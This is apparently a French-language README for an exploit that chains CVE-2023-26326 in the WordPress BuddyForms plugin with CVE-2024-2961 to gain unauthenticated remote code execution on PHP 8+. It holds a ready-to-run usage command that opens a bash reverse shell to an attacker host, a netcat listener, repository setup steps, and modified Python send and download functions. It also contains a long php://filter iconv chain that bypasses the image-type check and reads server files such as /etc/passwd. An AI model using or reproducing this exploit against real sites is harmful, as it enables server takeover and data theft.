
Exploit Python pour CVE-2023-26326 (WordPress BuddyForms) chaîné avec CVE-2024-2961 pour obtenir une exécution de code à distance non authentifiée via php://filter sur PHP 8+.
usage: python exploit.py "<TARGET_URL>/wp-admin/admin-ajax.php" 'bash -c "bash -i >& /dev/tcp/<ATTACKER_IP>/<ATTACKER_PORT> 0>&1"'
À l'origine, CVE-2023–26326 nécessitait des chaînes de gadgets pour l'exploiter comme une vulnérabilité de désérialisation. Cette méthode n'est plus réalisable sur les sites WordPress récents fonctionnant sous PHP 8+ ; cependant, en chaînant avec CVE-2024-2961](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1), l'exploit devient possible via php://filter au lieu de phar://.
L'exploit a été créé en modifiant le script cnext-exploit.py, en intégrant les modifications nécessaires pour CVE-2023-26326, comme détaillé dans la Description des modifications.
git clone https://github.com/omarelshopky/exploit_cve-2023-26326_using_cve-2024-2961.git
cd exploit_cve-2023–26326_using_cve-2024-2961
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
<ATTACKER_PORT> pour capturer le shell inverse :nc -lvnp <ATTACKER_PORT>
python exploit.py "<TARGET_URL>/wp-admin/admin-ajax.php" 'bash -c "bash -i >& /dev/tcp/<ATTACKER_IP>/<ATTACKER_PORT> 0>&1"'
capture d'écran de l'exécution de l'exploit
capture d'écran de la réception du shell inverse
Le principe de base derrière l'exploit CVE-2024-2961 a été conservé, mais des modifications ont été nécessaires pour l'adapter afin d'envoyer la chaîne de filtres au site web et de télécharger des fichiers depuis le serveur.
Dans l'exploit d'origine, la fonction send est utilisée pour envoyer un chemin au serveur :
def send(self, path: str) -> Response:
return self.session.post(self.url, data={"file": path})
Pour WordPress avec BuddyForms, l'interaction se fait par défaut via une requête POST vers /wp-admin/admin-ajax.php, où les données du corps contiennent action=upload_image_from_url&url=<INJECT_POINT>&id=1&accepted_files=image/gif. Le paramètre URL sert de point d'injection pour envoyer la chaîne de filtres au serveur. Cela a conduit à la modification suivante de la fonction send :
def send(self, path: str) -> Response:
return self.session.post(self.url, data={
"action" : "upload_image_from_url",
"url" : urllib.parse.quote_plus(path),
"id" : "1",
"accepted_files" : "image/gif"
})
L'exploit d'origine disposait d'une fonction download chargée de télécharger des fichiers depuis le serveur. La version suivante de la fonction download est utilisée dans l'exploit d'origine :
def download(self, path: str) -> bytes:
path = f"php://filter/convert.base64-encode/resource={path}"
response = self.send(path)
data = response.re.search(b"File contents: (.*)", flags=re.S).group(1)
return base64.decode(data)
Pour l'adapter à BuddyForms, nous analysons la fonction buddyforms_upload_image_from_url, qui gère le téléchargement d'images depuis une URL. Elle utilise file_get_contents, vérifie le type de fichier avec getimagesize(), puis enregistre le contenu dans le répertoire wp-content/uploads. Cela nous permet d'exploiter php://filter pour lire des fichiers locaux et les enregistrer dans le répertoire uploads, les rendant ainsi accessibles via URL. Cependant, nous devons contourner la vérification du fichier en préfixant GIF89a au contenu du fichier pour qu'il soit considéré comme un GIF. Cela peut être fait en utilisant le chaînage de filtres, et l'outil wrapwrap peut générer la chaîne requise :
git clone https://github.com/ambionics/wrapwrap.git
cd wrapwrap
./wrapwrap.py /etc/passwd 'GIF89a' '' 1000
génération de la chaîne de filtres avec wrapwrap
Cette chaîne de filtres générée doit remplacer l'encodage base64 utilisé dans le script d'origine. De plus, le format d'extraction du chemin du fichier téléchargé à partir de la réponse doit être mis à jour pour s'adapter au format JSON, qui inclut l'attribut "response" défini sur le chemin du fichier.
{"status":"OK","response":"http:\/\/victim.site\/wp-content\/uploads\/2025\/02\/1-106.png","attachment_id":261}
{"status":"FAILED","response":"File type is not allowed."}
Notez que le préfixe GIF89a doit être supprimé avant d'utiliser le contenu du fichier dans l'exploit, ce qui donne la fonction download modifiée suivante :
def download(self, path: str) -> bytes:
# Append prefix "GIF89a" to bypass file type check with getimagesize()
path = f"php://filter/convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.base64-decode/resource={path}"
response_data = self.send(path).json()
if response_data == "FAILED":
print(f"[-] Unable to download files, error message: {response_data['response']}")
exit(0)
file_path = response_data["response"]
# Remove the prefix "GIF89a"
return self.session.get(file_path).content[6:]
libc.so.6Veuillez noter que le téléchargement du fichier libc.so.6 depuis le serveur peut ne pas fonctionner correctement avec les chaînes de filtres, car le binaire est modifié au cours du processus. À la place, le fichier correct doit être fourni dans le répertoire racine de l'exploit.